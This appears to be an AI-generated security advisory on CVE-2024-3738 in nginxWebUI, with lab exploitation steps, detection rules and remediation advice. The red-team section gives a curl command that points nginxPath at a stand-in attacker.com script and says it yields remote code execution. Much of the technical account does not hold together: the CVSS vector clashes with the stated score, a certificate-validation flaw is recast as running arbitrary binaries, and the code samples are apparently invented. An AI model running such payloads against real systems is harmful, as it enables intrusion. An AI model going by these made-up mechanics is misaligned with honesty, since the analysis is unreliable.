CVE-2024-3738

Executive Summary

CVE-2024-3738 is a critical vulnerability in cym1102 nginxWebUI up to version 3.9.9. The flaw resides in the /adminPage/conf/saveCmd endpoint, specifically within the handlePath function. By manipulating the nginxPath argument, an attacker can bypass certificate validation, leading to improper certificate validation. This vulnerability is remotely exploitable without authentication, and a public exploit has been disclosed. The CVSS score is 7.3 (High), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of exploit details increases the risk.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone Java-based web application (nginxWebUI) used for managing Nginx configurations.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: None (PR:N) - No authentication is needed.
• User Interaction: None (UI:N) - No user action is required.
• Scope: Unchanged (S:U) - The impact is confined to the vulnerable component.
• Confidentiality Impact: High (C:H) - Potential for full data disclosure.
• Integrity Impact: High (I:H) - Potential for full data modification.
• Availability Impact: High (A:H) - Potential for full denial of service.

Deep Dive & Mechanics

The vulnerability is located in the handlePath function within the /adminPage/conf/saveCmd endpoint. This function is responsible for processing the nginxPath parameter, which specifies the path to the Nginx binary. The lack of proper certificate validation allows an attacker to supply a malicious path that points to a crafted executable or script. When the application executes this path, it does not verify the certificate of the executable, allowing arbitrary code execution with the privileges of the nginxWebUI service.

The attack flow:

1. The attacker sends a POST request to /adminPage/conf/saveCmd with a manipulated nginxPath parameter.
2. The handlePath function processes the path without validating the certificate of the target executable.
3. The application executes the malicious binary, leading to remote code execution.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only known version. The vulnerable code snippet (conceptual) is:

// Vulnerable code in handlePath function
public void handlePath(String nginxPath) {
    // No certificate validation
    ProcessBuilder pb = new ProcessBuilder(nginxPath, "some-command");
    Process p = pb.start();
    // ...
}

A patched version would include certificate validation:

// Patched code
public void handlePath(String nginxPath) {
    // Validate the certificate of the executable
    if (!isValidCertificate(nginxPath)) {
        throw new SecurityException("Invalid certificate for nginxPath");
    }
    ProcessBuilder pb = new ProcessBuilder(nginxPath, "some-command");
    Process p = pb.start();
    // ...
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy nginxWebUI version 3.9.9 on a test server (e.g., Ubuntu 22.04).
2. Create a malicious executable (e.g., evil.sh) that performs a reverse shell or other payload.
3. Host the malicious executable on an attacker-controlled server.

Exploitation Steps:

1. Send a POST request to the vulnerable endpoint:

   curl -X POST http://target:8080/adminPage/conf/saveCmd \
   -d "nginxPath=http://attacker.com/evil.sh"
   

2. The server downloads and executes the malicious script, granting remote access.

Note: No public exploit code is available in the provided data, but the above demonstrates the attack vector.

Blue Team

Detection:

• Monitor for POST requests to /adminPage/conf/saveCmd with unusual nginxPath values.
• Look for outbound connections to unknown IPs or domains from the nginxWebUI server.
• Check for unexpected processes spawned by the nginxWebUI service.

Hunting:

• Search logs for nginxPath parameters containing URLs or non-standard paths.
• Use network monitoring to detect downloads of executable files from external sources.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /adminPage/conf/saveCmd with nginxPath containing URLs.
  • Outbound connections to attacker-controlled IPs/domains.
• File System:
  • Unexpected files in /tmp/ or other writable directories.
  • Modified or new executables in the nginxWebUI installation directory.
• Process:
  • Unusual child processes spawned by the Java process running nginxWebUI.
  • Processes with names like evil.sh or malicious.exe.

Detection Engineering

YARA Rule

rule CVE_2024_3738_nginxWebUI {
    meta:
        description = "Detects exploitation attempts of CVE-2024-3738 in nginxWebUI"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3738"
    strings:
        $s1 = "/adminPage/conf/saveCmd" ascii wide nocase
        $s2 = "nginxPath=" ascii wide nocase
        $s3 = "http://" ascii wide nocase
        $s4 = "https://" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2024-3738 nginxWebUI Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /adminPage/conf/saveCmd with external URLs in nginxPath parameter
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/adminPage/conf/saveCmd'
        cs-uri-query|contains: 'nginxPath=http://'
    condition: selection
falsepositives:
    - Legitimate use of external nginx binary paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3738 nginxWebUI Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/adminPage/conf/saveCmd"; http_uri; content:"nginxPath=http://"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the /adminPage/conf/saveCmd endpoint if not required, or restrict access via firewall rules.
• Short-term: Upgrade to a patched version once available. Monitor vendor updates at https://github.com/cym1102/nginxWebUI.
• Long-term: Implement input validation and certificate verification for all executable paths. Use a Web Application Firewall (WAF) to block malicious requests.

Valters IT signature: This report is generated by Valters IT DevSecOps AI Assistant.